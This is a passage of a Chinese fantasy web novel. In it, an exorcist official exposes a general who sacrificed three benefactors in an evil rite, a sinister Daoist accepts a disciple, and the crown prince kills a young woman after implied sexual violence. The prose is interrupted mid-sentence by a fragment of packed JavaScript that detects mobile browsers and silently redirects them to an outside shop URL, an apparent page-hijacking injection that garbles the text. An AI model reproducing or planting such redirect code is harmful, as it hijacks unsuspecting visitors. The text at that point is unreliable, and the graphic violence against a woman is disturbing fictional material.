他捻珠笑道:“姜司主身边果然能人辈出,这位莺时姑娘心细如发,念旧感恩,是一等一的赤诚之人。
你二人主仆缘分深厚,相辅相成,乃是难得的善缘,若能长久相伴,彼此皆是福气!”
莺时听了,顿时喜上眉梢!
这是夸她忠贞呢!
她连忙双手合十,诚心诚意道:“承大师吉言!若能长长久久陪伴在我家姑娘身边,才是奴婢几世修来的福分了!”
这时,一直沉默坐在车厢角落的孙婆子忽然激动起来,她急促地比画着几个手势,干瘪的嘴唇焦急地开阖,却只能发出模糊的“嗬嗬”之声,眼尽是恳求与决绝。
云昭目光转向她,沉吟道:“你想救王氏?为何?”
孙婆子用力点头。
永熙王虽已伏诛,但他身边那邪门的术师却至今在逃,孙婆子身中的绝言咒也因此一直未能解开。
平日简单交流尚可借助手势,此刻情急之下,她却是有口难言,急得额角青筋都迸了出来,浑浊的老眼里满是焦灼。
有悔大师见状,缓声道:“她这绝言咒甚是阴毒,根基颇深,老衲亦无法解开。不过,倒是有一门祝由小术,可借天地灵气,暂时冲开咒力束缚,让她能开口言说。”
“祝由术?”云昭知道祝由术的由来,可追溯至黄帝时代,乃上古巫医祈福禳灾、治病救人之法。讲究以符咒、音律、意念调动自然之力,疏导郁结,沟通天地。
云昭从前也在祖师爷爷留下的书籍中,学到过少数几个浅显的祝由术,但却不及有悔大师这般信手拈来。
“取一杯清水来。”
莺时连忙从车厢暗格中取出茶具,斟了半杯清水,双手奉上。
有悔大师以右手食指凌空于水杯上方三寸之处,屏息凝神,指尖隐隐有微不可察的金芒流转,缓缓勾勒出一个繁复古老的符文。
那符文无形无质,却仿佛引动了周遭气息,杯中清水竟无风自动,泛起细微涟漪。
“将此水饮下。”有悔大师将水杯递予孙婆子。
孙婆子毫不犹豫,双手接过,仰头一饮而尽。
清水入喉,她只觉得一股温润之气直通咽喉,忍不住抬手抚了抚嗓子,试探着发出一个音节:“我……”
清晰的字眼脱口而出!
孙婆子激动得浑身颤抖,简直不敢相信自己的耳朵,连忙又试了试,声音虽有些沙哑,却真真切切能连贯说话了!
孙婆子“噗通”一声跪倒在车厢内,朝着有悔大师重重叩首:“多谢大师成全!”
有悔大师微微颔首:“此法你已亲历,其中关窍可自行领悟,日后若遇急事,或可一试。但需谨记,一日之内最多施展一次,否则精气透支,恐遭反噬,慎之重之。”
云昭在一旁看得目不转睛,对有悔大师的博学深感钦佩,连忙与孙婆子一同用心记下这祝由术的施展要诀。
孙婆子再次谢过有悔大师,这才转向云昭:“姑娘明鉴!老婆子之前奉命沿街寻人时,曾在一个雨天碰见了二夫人王氏。
那时我扮作卖菜的老妪,王氏路过瞧见,只说要把我篮子里所有的菜都买了,让我早点收摊回家,与家人团聚。还让身边的丫鬟,塞给我一把油纸伞。”
这是孙婆子悲苦人生中,感受到的为数不多的善意。
孙婆子哽咽道:“姑娘,那王氏是个心地善良之人。您上一次既然愿意出手赠她平安符,不如就帮人帮到底吧!姑娘若是不想插手苏家内务,不如教老婆子我一个法子!
若能救了王氏和她腹中那未出世的孩子,老婆子也算偿还了当年的恩情。”
云昭看着孙婆子眼中闪烁的
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水光,知道她是因王氏有孕,触景生情,想起了自己那惨死的爱女小莲。
这世上,许多已经当了母亲的人,尤其心怀善念的人,看到其他母亲受难,孩子受苦,总会愿意伸出援手。
“起来吧。”云昭声音不高,“你既有此心,今夜正好随我同去苏府。”
众人闻言,这才明白云昭方才干脆离开,原是早已存了夜间再探的打算。
云昭转而看向有悔大师,神色凝重地问道:“今日在宫中,有关太岁肉的说法,大师可信?”
有悔大师并未直接回答,示意云昭伸出手,随即在她的掌心写了个“蛊”字。
云昭心头微跳!
有悔大师的判断,竟与她不谋而合!所谓太岁肉之说,不过是那玉衡**捏造的谎言!
那么,她之前的那个大胆猜测——
梅柔卿体内那诡异之物,与太后同根同源,宛如“母子蛊”一般相互关联,是否也能得到印证?
她沉吟片刻,继而又问道:“晚辈孤陋寡闻,从未听说过终南山有什么‘隐曜宗’,大师您可曾有所耳闻?”
有悔大师再次摇了摇头,双眼闪过一抹异色。
云昭心下明了,有些关乎重大隐秘的话,不便在孙婆子和莺时面前直言。
她不再追问,转而邀请道:“若蒙不弃,大师可愿在昭明阁暂住一段时日?至少待到文昌大典结束。”
有悔大师呵呵一笑,摊开的手掌心赫然躺着一块雕刻着五爪蟠龙纹样的羊脂玉佩,龙睛处以红宝石点缀,威严尽显。
“今日离宫前,常玉公公亲自将此物交予老衲。看来,老衲此番,是真要厚颜在姜司主的昭明阁,多叨扰些时日了。”
一老一少不由相视莞尔。
车厢微微摇晃,云昭靠坐在软垫上,看似闭目养神,脑中思绪却如潮水般翻涌。
今日宫中见闻,一个念头在心中愈发清晰:
玉衡**,是否与清微谷的灭门血案有关?
他是否就是前世那个隐于姜珩与姜绾心身后、想尽办法折磨她的邪师?
想要印证此事,倒是有一条捷径——
去问姜珩。
他今日挨了那顿板子,晚上极易发起高热,再兼她手上恰好有“浮生梦”,此物运用得当,能令人心神松懈,吐露真言,届时,不怕他不肯说真话!
马车甫在昭明阁阶前停稳,昏黑夜色里,一道黑影宛如失控的困兽,猛地自旁侧暗影里扑将出来,直冲向刚刚掀帘欲下的云昭!
“什么人!”墨七厉喝一声,一记精准狠辣的窝心脚,正中来人胸腹!
“呃啊——!”那人猝不及防,发出一声痛苦的闷哼,整个人被踹得倒飞出去,重重摔在冰冷坚硬的青石板上,翻滚了两圈才勉强停住。
借着昭明阁前的灯笼,众人这才看清,那狼狈伏地、头发散乱如草,捂着胸口剧烈咳嗽的“野人”,竟是先前在京兆府公堂之上,曾对云昭横眉立目、大声咆哮的武将——徐莽!
此时的他,早已不见了当日的嚣张气焰,衣袍皱巴巴地沾满了尘土,脸上混杂着痛苦、惊惧与一种走投无路的惶急。
他挣扎着抬起头,望向被墨七、墨十七严密护在身后的云昭,眼中是前所未有的绝望与哀求:
“姜司主!求您了!救救我全家老小性命!”
第155章 我不会救你
只见那徐莽疼得冷汗直流,不住嘶声哀求:“姜司主!求您看在同朝为官的份上,救救我!帮我除了那厉鬼,保我全家老小性命!”
见云昭不语,他哭得涕泪四流,咬牙切齿道:“姜司主明鉴!那樱柔本就不是什么良家女子,当初便是她蓄意勾引!
如今**化作厉鬼,更是变本加厉,不仅要害我,还要害我全家!求司主施展神通,灭了这害人的邪祟,还我徐家一个安宁啊!”
时值戌时初刻,盛景城夜不闭市,故而昭明阁前,经过的百姓与车马并不算少。
围观百姓大多不明真相,见徐莽哭得悲切,又牵涉家人孩子,不免心生同情,纷纷出言:
“姜司主,既是厉鬼害人,您就出手除了它吧!”
“这不是徐偏将?铁骨铮铮的汉子竟被厉鬼纠缠,真是可怜!”
“玄察司不就是管这个的吗?赶紧将厉鬼灭了才是正经!”
云昭冷眼瞧着,心中一片冰寒。
这就是人心,对异于常理之物天生恐惧,第一反应便是毁灭!
至于其下的真相与冤屈,又有几人愿意深究?
徐莽膝行几步,双目灼灼紧盯着云昭:“姜司主!您身为玄察司主,斩妖除魔、护卫百姓乃是分内之事!难道真要眼睁睁看着我被厉鬼害死,看着徐家家破人亡吗?”
云昭缓缓摇头:“我不会救你。”
她抬手指向徐莽身后的阴影处:“你以为人**,真相就随之湮灭?仅凭你一张巧舌,便能颠倒黑白,指鹿为马?
徐莽,你且回头看看,樱柔的魂魄,此刻就在你身后三步之外看着你呢!你所言所行,她皆听在耳中,看在眼里!”
徐莽猛地回头,右手飞快从怀中掏出一张皱巴巴的黄色符纸,看也不看就朝身后扔去!
那符纸无火自燃,化作一道微弱的金光闪过。
而在云昭的玄瞳视界之中,那樱柔的魂魄竟真的瑟缩了一下,脸上露出惊惧之色!
徐莽一击得手,惊魂稍定,随即像是抓住了什么把柄似的,猛地跳起来,指着云昭的鼻子破口大骂:“诸位都看清楚了吧!这就是玄察司司主的真面目!
什么公正严明,什么为民**!全是狗屁!
她根本就不会真心救助被妖邪缠身的无辜之人!
就因当初在京兆府,我因办案与她有过几句口头争执,她便怀恨在心,今日对我见死不救!此女心肠歹毒,其心可诛!”
说罢,他高高举起左手,腕上一串手串,在远近灯盏的照耀下,闪着怪异的光泽。
“尔等可曾听闻玄都观?此乃玄都观主,玉衡**所赐的‘辟邪安魂珠’!
自从戴上此宝,那女鬼便再未能近我身三步之内!这才是真正的玄门高人,护佑众生!”
他这一阵嚷嚷,早已惊动了昭明阁内众人。
温氏与苏氏携众人一同出来,听到此处,她忍不住出言讥讽:“既然那玄都观的道长如此神通广大,你何必还苦苦哀求我们司主?自去求你的**救你便是了!”
徐莽冷哼一声,面露倨傲:“玉衡**今日蒙圣上亲自召请,入宫觐见!此刻正在为太后娘娘护持,为天下百姓闭关祈福!
徐某心系家人安危,想着姜司主毕竟名声在外,或许也有几分本事,这才想着来此一试!”
说着,他竟朝着云昭的方向狠狠啐了一口:“呸!如今看来,你姜云昭不过是徒有虚名,沽名钓誉之辈!哪里比得上玄都观玉衡**半分本事!”
昭明阁众人闻言无不怒形于色。
莺时等人更是不齿!
那晚在京兆府,这徐莽为了带走梅柔卿是如何仗势欺人,后来被云昭说破与女鬼私情,被发妻余氏当众唾骂时又是何等狼狈!
不想今日衣衫褴褛跑来,竟是为演一出倒打一耙的戏码!
可周围不明就里的百姓,却有不少人被手上那串看起来颇为神秘的手串吸引,纷纷交头接耳。
几个穿着绸缎、像是富户模样的人更是挤上前追问:
“徐将军,这手串当真如此灵验?”
“不知此宝是何名堂?要价几何?”
那徐莽洋洋得意道:“实话告诉诸位,我这‘辟邪安魂珠’,乃玉衡**亲手加持,只需八百八十八两!
请回家中,不仅能驱邪避灾,更能聚财纳福,护佑家宅平安!”
他晃了晃手腕,乌溜溜的手串在灯光下流转着惑人的光晕,“这还只是入门宝物!
玄都观内,尚有能助官运、旺子嗣、保健康的各类灵器法物,明日辰时开观迎客,诸位若有兴趣,自可前去一观,亲眼见证玉衡**的无边法力!”
说完,他颇为挑衅地朝云昭瞥了一眼,转身就待离去。
云昭眸光锐利如鹰隼,紧紧锁在徐莽转身时,不自觉抽搐耸动的肩头。
那处的衣料之下,似乎有什么东西在不安地蠕动,将那块衣料撑起不自然的凸起。
“拿住他!”
墨七飞身上前,一把反剪徐莽双臂,铁钳般的手劲让他痛呼一声,瞬间动弹不得。
云昭快步走到近前,素手毫不犹豫地“刺啦”一声,猛地撕开了徐莽肩背处的衣衫——
“嘶——!”
“老天爷!”
四周顿时响起一片此起彼伏的抽气与惊叫!
只见徐莽肌肉虬结的肩头与后背上,赫然隆起着三个巴掌大小的紫黑色肉瘤!
这已足够骇人,但更令人头皮发麻的是,每个肉瘤的表面,都无比清晰地凸浮着一张扭曲变形的人脸!
那三张脸五官俱全,眉眼口鼻依稀可辨,肤色与周遭血肉截然不同,呈现出一种死气沉沉的青白。
它们仿佛被无形的手硬生生按进了肉里,此刻正随着徐莽粗重的呼吸微微起伏、蠕动,嘴唇部位甚至像是在无声地开阖,诉说着无尽的痛苦与怨毒!
“妖、妖怪附体了!”
“这是什么鬼东西?!快离远点!”
“这徐莽到底做了什么!怎会变成这副鬼样子?”
徐莽又惊又愧,拼命扭动想遮掩这可怕的异状。云昭却冷声开口,声音清晰地传遍在场每个人耳中:“不必遮了,此乃‘怨面瘤’。”
她目光扫过惊疑不定的众人,解释道:“此非病症,而是玄门邪术‘五亲断魂术’的伴生恶果。每一张人脸,便代表一个因他而死的亡魂!”
云昭垂眸,仔细审视着那三张痛苦的人脸,一边道:“这第一个,是你最忠心的副将张奎,随你征战十二载,三次为你挡箭负伤;
第二个,是你府中老管家徐福,你幼时顽劣跌伤,是他拼死将你从狼口中抢回;
第三个,是你的奶嬷嬷黄氏!她不仅用乳汁将你喂养长大,如今还在你府中,悉心照料着你与发妻余氏所出的一双儿女!
这三人皆于你有活命之恩,你却以怨报德,害其性命!徐莽,你禽兽不如!”
徐莽急声狡辩:“不是!不是这样的!是樱柔!是那个**逼我的!
她做了鬼也不放过我,说要让我**!余氏是我结发妻子,两个孩子尚在稚龄,我、我也是被逼无奈啊!”
他眼底闪过一丝奸猾,继续信口雌黄:“张副将自己不小心坠马磕破了头!徐管家和周嬷嬷是心疼我被厉鬼纠缠,自愿献出生命,助我渡过难关!他们是心甘情愿的!”
云昭将他眼底神色看得分明,心知他既敢行此灭绝人性之事,必定已将首尾处理得干干净净!
即便京兆府介入,恐怕也难找到实证给他定罪。
而徐莽也正是知道这一点,哪怕被云昭当众说破心事,除了一开始的惊慌失措,此时却毫无惧色,只朝身后墨七道:“放开!你们无权扣押我!”
云昭唇角勾起一抹冷笑:“看来你主动献祭三位至亲,换取这身‘怨面瘤’和所谓的气运,也是那位玉衡道人在背后指点迷津了?
他是不是还向你许诺,待时机成熟,便会亲自
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出手,为你除去这瘤子,从此保你平安顺遂,妻贤子孝,甚至……官运亨通,步步高升?”
徐莽眼神剧烈闪烁,嘴唇翕动,那表情分明是被云昭一语道破了天机!
云昭见状,唇边笑意更深:“既然徐偏将是玄都观的虔诚信徒,对玉衡**深信不疑,我玄察司又怎好横加阻拦,坏你机缘?你既信他,便去找他吧。”
徐莽此刻心中其实也是七上八下。
他此行虽是与玉衡道人合谋,意在抹黑云昭,抬高玄都观声望,但内心深处,对玉衡那套邪门说法也并非全无怀疑,也有意想借此试探云昭的态度。
此刻见云昭这般淡然,甚至带着一丝说不出的嘲弄之色,而一直沉默站在云昭身侧的有悔大师,亦是双手合十,微微摇头,低诵佛号。
徐莽心底不由得升起一股强烈的不安。
但开弓没有回头箭。
三条人命已然献祭,他内心挣扎少顷,对权势富贵的贪婪渴望最终压倒了一切。
墨七在云昭的眼神示意下松开了手。
徐莽整了整破烂的衣袍,就准备扬长而去,好向幕后贵人邀功请赏。
然而,他刚迈出一步,就听云昭道:“这邪术名为‘五亲断魂术’,你以为,献祭三条至亲的人命,就足够了吗?”
此言一出,不仅徐莽猛地僵在原地,连周围嘈杂的人群也瞬间安静下来。
所有人的目光,惊疑的、恐惧的、好奇的——
齐刷刷聚焦在云昭身上,仿佛她口中将吐露的,是能决定生死的判词。
“‘五亲断魂术’,需以自身精血为引,献祭五位血脉相连或恩重如山的挚友亲朋,方能催动。徐莽肩上的三张脸,不过是开端。”
云昭的目光,如冰冷的刀锋,扫过徐莽瞬间惨白的脸,继而转向在场每一个面露贪婪或恐惧的人。
“诸位高邻若不信我今日之言,大可拭目以待。
倘若这徐莽真能凭借此术飞黄腾达,那么,不出三个月,他发妻余氏与他那一双年幼的儿女,必失其二!且死状凄惨,受尽惊惧折磨而亡!”
她语气一顿,带着一种近乎残酷的平静,“倘若他未能如愿,那么四十九日之内,他周身气血将日渐枯败,五脏六腑如同被万千虫蚁啃噬,皮肉溃烂,最终在极致的痛苦中,化为一具枯骨!”
她的目光冷厉如电,不仅扫过近前的百姓,更投向远处那些停在阴影里、装饰华丽的轿辇,仿佛能穿透轿帘,看清里面那些蠢蠢欲动的心思。
“我知道,人心皆有贪念,求富贵,慕权势,本是常情。但此等戕害至亲、悖逆人伦的邪术,绝非正道!
今日我便将这话放在这里——
凡修**此术者,无一例外,不得善终!
纵使能窃得一时富贵,每至深夜入梦,耳畔必会响起至亲亡魂的哀嚎与诅咒,声声泣血,夜夜惊魂,直至心神耗尽,癫狂而死!
诸位若自信能承受这等永无止境的折磨,大可效仿这位徐偏将,用至亲的尸骨铺就你们的青云路!”
云昭这番警示,让在场大多数人不寒而栗。
毕竟,人皆有贪欲,但能像徐莽这般狠绝到亲手献祭奶娘、管家、兄弟,乃至父母至亲的,终究是极少数!
不少人脸上那点刚刚被勾起的贪念,瞬间被恐惧压了下去,纷纷低头,不敢与云昭对视。
然而,众人对徐莽腕上那串幽幽泛光的手串,好奇之心却未减分毫,目光仍不由自主地瞟去。
云昭将这一切尽收眼底,心中明了。
玉衡**此计歹毒。
他并非仅仅依靠术法高深,更可怕的是,他精准地拿捏了人性的弱点,且与皇室关系盘根错节。
且不论他与太子是否真有勾结,单凭他今日能拿出另一枚凤阕令,便知他在皇帝心中分量不轻,根基深厚。
这是云昭入京以来,首次清晰地感受到,自己面对的敌人是何等老谋深算,势力庞大!
第156章 绾心想拜在**门下
徐莽听着云昭的预言,心底并非毫无波澜,甚至掠过一丝冰凉的恐惧。
但事已至此,他双手早已沾满血腥,再无回头路可走!
更何况,自从戴上这手串,那如影随形的沉坠与阴冷确实消失了,这让他对玉衡**的手段更多了几分盲目的信赖。
心头那点微弱的挣扎迅速被压下,他强行挤出一声得意扬扬的嗤笑,厚颜无耻地对着人群高声道:
“诸位都听到了?姜司主这是技不如人,便开始危言耸听了!
要我说,别信什么玄察司了,真遇到事儿,还是得去求玄都观!”
百姓中亦有清醒之人。
一个提着药箱,郎中模样的中年人忍不住高声反驳:“若心中无鬼,行事坦荡,何须倚仗这等来路不明之物!
况且姜司主明言你身负三条人命,那玉衡**若真帮你这等**凶徒消灾,岂非助纣为虐?我看那什么**,也绝非善类!”
“哼!此言大谬!”
人群之中,一个沙哑如同砂纸摩擦的声音突兀响起,那声音飘忽不定,难以捉摸来源:“人鬼殊途,阴阳两隔!既已成鬼,滞留阳世便是过错,扰人清静更属邪祟!
管它有何冤屈,都该彻底打杀,以绝后患!
要我说,玉衡道长这般雷霆手段,才是真正为民除害,心系苍生!”
“装神弄鬼!”云昭眸色一寒。
众人甚至未见她如何动作,一道杏黄符箓已自她袖中激射而出,挟着一缕破空锐响,直刺向人群角落那声音源头!
“吱——!”一声非人般的尖锐怪叫骤然响起,刺得人耳膜生疼!
一道黑影自人群中猛地窜起,挟着幽绿阴火,直直射向台阶上站立的苏氏等人!
云昭眸光一凛,正待出手,然而有人比她更近!也更快!
“咻——啪!”
玄铁长鞭宛如黑色蛟龙,带着凌厉的破风声后发先至,精准无比地凌空卷住那块燃烧的木牌,猛地将其掼向地面!
那幽绿阴火极为歹毒,竟如活物般顺着玄铁长鞭飞速缠绕而上,直扑向使鞭人的左手!
电光火石之间——
又一道银鞭如闪电般掠过,精准地抽击在蔓延的阴火之上!
只听“嗤”的一声轻响,那诡异的绿火如同被掐断了根源,瞬间熄灭,只在空气中留下一丝若有若无的焦糊腥气。
一切皆发生在瞬息之间!两道鞭影,一玄一银,先后闪现,配合得天衣无缝。
云昭立刻看向台阶上的苏氏,见母亲朝自己微微摇头,神色虽凝重却并无惊惶,示意无恙。
而此时,惊恐的人群早已哗然散开一个大圈!
定睛看去,只见地上只剩一件空荡荡、灰扑扑的布袍,如同被抽走了骨架的皮囊,哪里有什么人影?
墨七当即上前一步,踢了踢那件空袍子,嗤笑道:“原来所谓的‘仗义执言’,不过是有人躲在暗处,以邪术搬弄是非,煽风点火!”
再看那徐莽,早已趁乱溜得无影无踪。
心有余悸的百姓们,此刻纷纷将目光投向那位及时出手的使鞭人。
但见那人身穿一袭玄青色常服,看似寻常布料,却难掩其下挺拔如松的身姿。
他约莫三十五六年纪,面容轮廓分明,剑眉斜飞入鬓,一双星目深邃沉静,顾盼间自有久经沙场的锐利与沉稳。
云昭一眼便认了出来,这正是她初入京城不久,在街上遭遇麻烦时,曾对她施以援手的那位将军!
苏氏看到他,朝他微微颔首致意。
相较于前次相遇时的疏离与僵硬,她此刻的神情明显自然了许多,并不掩饰心中的感激。
云昭见苏氏如此态度,便道:“这位……多谢再次出手相助。还请入内饮杯清茶,容我聊表谢意。”
然而,那男子却只是深看了云昭一眼,嗓音低沉地赞了一句:“你的鞭法,很快,也很准。”
言罢,他不待云昭再言,便利落地一抱拳,转身快步离去,身影很快消失在尚未散去的人流中。
云昭目送他离去,随即步上台阶,轻轻握住苏氏微凉的手:“母亲,我有些事,事关紧要,必须要问清楚!”
几乎是在同时,苏氏也反握住她的手:“昭儿,我有些话想同你说清。”
母女二人几乎同时开口,在各自眸中都看到一抹凝重之色。
*
玄都观。
偌大静室之内,香炉青烟袅袅,玉衡**盘坐于蒲团之上,脸色蓦地一白,周身气息出现片刻的紊乱。
他猛地睁开眼睛,强行将喉头涌上的一丝腥甜压下,眼底闪过一丝惊怒!
怎么会?!
清微谷自诩医道正统,只传济世救人之术,为何这姜云昭,不仅咒术精深,连这‘借物传音、化袍为傀’的秘法都能一眼看破,暴力击散?!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732390|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>门外传来了几声敲门声。
静室门被轻轻推开,一道纤细的素白身影悄无声息地步入。
来人未施粉黛,身形柔弱,仿佛风一吹就会倒下。
只见她轻轻掀开遮住头脸的兜帽,露出楚楚可怜的娇艳脸庞。
玉衡**眼皮都未抬一下,语气疏离冷淡:“姜二小姐不在清心殿好好陪伴太后娘娘,来贫道这清修之地作甚?太后凤体欠安,正需人在旁宽慰。”
姜绾心微微福礼,声音轻柔:“**既知绾心与太子殿下的关系,便应对绾心多加照拂才是,不该是这般拒人于千里之外的态度。”
玉衡**闻言,终于抬眸,他冷笑了声:“太子殿下见了贫道,请计问策,亦要扫榻相迎,以礼相待。姜二小姐,你逾矩了。”
姜绾心袖中的手瞬间攥紧,一股强烈的怨憎在她心底翻涌,但她面上反而愈发虔诚。
她提起裙摆,当着玉衡**的面,身子婉转地跪了下去,以额触地,行了一个大礼。
“**明鉴,绾心此来,不为别的。”她抬起头,眼中闪烁着渴望的光芒,“绾心想拜在**门下,修**玄法!
他日学有所成,定能更好地为太子殿下分忧,为**效力。还请**看在绾心一片至诚,用心虔诚的份上,开恩收下绾心!”
玉衡**眸色深沉如墨,紧紧盯着跪伏在地的姜绾心。
静室内只剩下檀香燃烧的细微噼啪声。
良久,他脸上那冰冷的线条忽然柔和下来,绽出一抹意味不明的笑容。
他缓缓起身,手中拂尘轻轻一扬,雪白的尘尾搭在了姜绾心的肩上。
“罢了,念你诚心可嘉,便给你一个机会。”
姜绾心轻垂的眼睫猛地一颤,垂下的眼眸底,瞬间闪过一抹狂喜与得逞的神色!
她心中激动难抑:成功了!
玉衡**神通广大,深不可测,连陛下和太后都对其礼遇有加!
这是她这么久以来,见到的唯一一个,无论权势、地位还是玄术本事,都足以与姜云昭那个**分庭抗礼的靠山!
只要她能拜入其门下,学会他的本事……
她仿佛已经看到,不久的将来,姜云昭跪在她脚下,被她用各种邪术折磨操控,求生不得,求死不能的凄惨模样!
因而她也就忽略了,玉衡**打量她时的眼神,仿佛在掂量一条砧板上的鱼!
第157章 衣衫尽褪
东宫,内殿。
重重纱幔低垂,只余烛火摇曳,在精致的宫墙上投下纠缠扭曲的暗影。
空气中弥漫着一种甜腻与腥膻混合的、令人不适的气息。
床榻之上,隐约可见一道身影被死死压在锦被之间,一只属于男子的、青筋微凸的手,正紧紧扼在那纤细的脖颈上,力道之大,使得被压制者连呜咽都变得破碎断续。
不知过了多久,一切动静戛然而止。
那只手缓缓松开,随意地甩了甩,仿佛只是拂去了什么微不足道的尘埃。
随即,一道身影软绵绵地从床沿滑落,“咚”的一声轻响,落在冰冷的光滑金砖上。
少女瞳孔已然涣散,就那样直勾勾地望着殿顶,死不瞑目。
玉白的肌肤上瘀痕交错,无声诉说着曾遭受的暴虐。
灵峰悄无声息地步入殿内,熟练地弯腰攥住那少女早已散乱的头发,如同拖拽一件破麻袋般,将尚带余温的尸身向殿外拖去。
“照老规矩,处理干……”太子慵懒沙哑的声音传来,话未说完,他却猛地烦躁起来,随手抓起床上玉枕,狠狠掼在地上!
“姜云昭!姜云昭!实在该死!”他胸膛起伏,眼中是毫不掩饰的暴戾,“青莲观没了,叔公**,如今连消遣个‘玉瓶儿’,都没个干净地方处置,实在麻烦!”
灵峰将头颅垂得更低,不敢发出丝毫声响。
平日里,每逢这个特殊的日子,太子在“消遣”之后,心情总会舒缓许多。
可今日,太子的暴躁竟比“消遣”前更盛。
太子猛地站起身,丝质寝衣松散地披着,露出精赤的胸膛:“父皇是不是疯了?他怎会把玄铁晶矿脉交给萧启?!”
他来回踱步,如同困兽,口中反复咀嚼着那句令他寝食难安的谶言:“‘真凤凰,耀九宸’……难道父皇如此重用萧启,真是因为那个姜云昭?
她这只不知从哪个犄角旮旯里飞出来的野凤凰,是专门来克孤的!”
灵峰小心翼翼地开口,试图安抚:“殿下息怒。玉衡**不是断言,秦王……他活不过今年……”
太子极其不耐烦地打断他,眼神阴鸷,“他还信誓旦旦保证,今日必定能让父皇取消婚事!可如今呢?婚事照旧!
甚至太后前脚刚出宫,父皇后脚就当着苏文正的面下旨,将矿脉连同整个琅琊郡都划给了萧启!他的保证,有几句成了真?!”
他猛地扭头,锐利如刀的目光刺向灵峰:“灵峰,你觉得那玉衡**,待孤可是真心?”
灵峰心中一凛,立刻躬身道:“殿下是国之储君,更是天命所归的未来天子。
玉衡**志在大国师之位,他要想名正言顺执掌天下玄门,除了尽心竭力辅佐殿下,他别无选择,更不敢有二心。”
太子脸色依旧阴沉得能滴出水来。
良久,他深吸一口气,强压下翻腾的怒火,转而问道:“徐莽那边的事,办得如何了?”
灵峰忙回禀:“已在昭明阁前当众闹了一场,依照**吩咐,极力宣扬了玄都观法宝之威。
如今满街的人都在议论,想必从明日起,玄都观的香火定能盖过碧云寺,成为京都第一道观。”
“孤已倾力配合,助他达成所愿。”太子走到窗边,望着窗外沉沉的夜色,声音冰冷,“希望接下来的文昌大典,玉衡**不要让孤失望才好。”
他说完,走回桌边,拿起一个造型诡异的墨玉小瓶,拔开塞子,毫不犹豫地倒出一颗血红色的药丸,便仰头吞服下去。
灵峰见状,大惊失色,也顾不得礼仪,急声道:“殿下!**再三叮嘱过,此药药性猛烈,一次只能服用一颗,若是过量,恐伤及……”
“聒噪!”太子勃然大怒,抓起手边的茶盏,劈头盖脸就朝灵峰砸去!
茶盏正中灵峰额角,瞬间鲜血直流,茶叶混着茶水淋了他一身。
太子看也不看他的惨状,声音带着一种药物催发下的亢奋与不耐:“速去!再给孤寻个‘玉瓶儿’来!”
他微眯着眼,似乎在回味,眸色沉暗:“要皮肤白皙,眉眼……要像之前那个一样,带着点倔强不服输的劲儿……”
灵峰口中连声应“是”,忍着额头的剧痛和满身狼藉,重新拖起地上那少女的尸身,垂着头,一步步**着出了殿门。
殿外,心腹宫女拂云早已等候多时,见他额头鲜血直流,不禁骇然失色:“这……可是寻来的‘玉瓶儿’不合殿下心意,引殿下动怒了?”
灵峰摆摆手,与拂云快步走到远离殿门的廊下阴影处,才低声道:“这尸首,稍后我设法放入运送秽物的恭桶,你速去安排人处置干净,务必小心。”
他脸色极其难看,“殿下……又要寻个相似的。可这已是寻遍整个京师的秦楼楚馆、暗门子,能找到的最肖似的了……”
拂云闻言,脸上也露出惊惧与为难:“殿下不是已经‘用’过一个了吗?怎么还要?”
灵峰声音压得更低,带着一丝不易察觉的颤抖:“殿下又服了一颗药。”他脸色苍白,“我总觉得,这玉衡**给的药,还有他教的那些法子……邪性得很,不可尽信……”
二人对视一眼,皆从对方眼中看到了深深的恐惧与忧虑。
有些话,即便是他们这样的心腹,也不敢宣之于口。
他们这些常年贴身伺候的人再清楚不过,太子平日里看似温润如玉,贤德明理。
可每个月总有那么几天,会性情大变,暴虐无常,近乎疯癫。
尤其自他成年,尝过男女之事后,这种状况更是变本加厉。
而太子对玉衡**却笃信非常,几乎到了言听计从的地步。
他们这些底下人纵然看出些许不妥,又有谁敢冒着掉脑袋的风险去直言进谏?
良久,拂云像是忽然想起了什么,眼中闪过一丝复杂的光,迟疑道:“我倒是,想到一个人选。你可知道,苏家大房那位嫡出的小姐,苏玉嬛?”
灵峰立刻摇头:“她并非风尘女子,且殿下如今正一心想要拉拢苏家,若动了她……”
拂云急声道:“正是因为殿下有心拉拢苏家!若是能让苏玉嬛成了殿下的人,苏文正为了孙女的性命和名节,说不定也就认下这桩婚事!”
灵峰依旧
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犹豫不决。
额角的血顺着脸颊流下,他也顾不上擦:“可殿下今晚已服食超量,下手没个轻重……若是闹出人命,苏家那边如何交代?你我的性命还要不要了?”
拂云跺脚,语气焦灼:“可若是寻不到合心意的人,惹得殿下雷霆震怒,你我此刻就要没命!”
灵峰自然也知今夜之事已无转圜余地,他脸色变幻数次,最终一咬牙,眼中闪过一丝狠色:
“……罢了!我去想办法周旋。若太子殿下仍不能满意,或是真出了什么差池……届时我自去领罚,认了便是!”
说罢,他再也顾不上其他,匆匆转身,身影迅速消失在宫廷深邃的廊道阴影之中。
*
昭明阁,书房内。
灯火如豆,将母女二人的身影投在窗棂上,摇曳出几分凝重。
云昭从苏氏微颤的手中接过那张薄薄的信笺,展开,一行略显仓促却笔力虬劲的字迹映入眼帘:
「文昌盛典,龙蛇混杂,苏家旧事,恐被人察。万望谨慎,务必珍重。」
字里行间透出的关切与警示,让她心头微动。
再联想到方才那道在危急时刻出手、又如疾风般离去的高大身影,云昭不由在心中暗道,这位裴将军对母亲,还真是关怀备至,用心良苦。
想必这段时日,他都默默守在昭明阁附近,如同最忠诚的暗卫,时刻守护着母亲的安危。
“他叫裴寂。”苏氏提起这个名字时,声音里蕴着化不开的苦涩与遥远的回忆,“是你外祖父当年一位战死沙场的挚友遗孤。
自小被养在与苏家相邻的院落,因他年纪比你二舅舅小,又虚长我半岁,自小……我便喊他三哥。”
原来,当年苏氏与姜世安初识那段时日,裴寂正在边关浴血奋战,以命博取军功。
待他随凯旋大军回京,陛下念其军功卓著,特赐封其为“骁骑尉”,授京畿卫戍营中郎将一职,正是少年意气、前程似锦之时。
彼时苏氏虽与姜世安相识,却并未有过什么定亲的约定。
而裴寂身上,是有一桩婚约的——
